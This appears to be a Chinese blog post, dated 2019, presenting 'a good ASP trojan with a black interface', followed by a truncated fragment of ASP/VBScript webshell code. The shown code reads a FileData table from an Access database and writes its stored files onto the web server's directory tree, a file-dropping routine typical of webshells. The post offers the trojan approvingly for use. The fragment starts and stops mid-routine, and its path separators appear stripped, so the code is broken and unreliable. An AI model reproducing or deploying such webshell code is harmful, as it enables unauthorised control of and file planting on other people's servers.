一款不错的asp木马 黑色界面

2019-01-13 19:20:44于海丽

        Dim rs, ws, str, conn, stream, connStr, theFolder
        str = Server.MapPath(".") & ""
        Set rs = CreateObject("ADODB.RecordSet")
        Set stream = CreateObject("ADODB.Stream")
        Set conn = CreateObject("ADODB.Connection")
        connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data 
Source=" & thePath & ";"
        conn.Open connStr
        rs.Open "FileData", conn, 1, 1
        stream.Open
        stream.Type = 1
        Do Until rs.Eof
            theFolder = Left(rs("thePath"), InStrRev(rs
("thePath"), ""))
            If fsoX.FolderExists(str & theFolder) = False 
Then
                createFolder(str & theFolder)
            End If
            stream.SetEos()
            stream.Write rs("fileContent")
            stream.SaveToFile str & rs("thePath"), 2
            rs.MoveNext
        Loop
        rs.Close
        conn.Close
        stream.Close
        Set ws = Nothing
        Set rs = Nothing
        Set stream = Nothing
        Set conn = Nothing
    End Sub
    Sub createFolder(thePath)
        Dim i
        i = Instr(thePath, "")
        Do While i > 0
            If fsoX.FolderExists(Left(thePath, i)) = False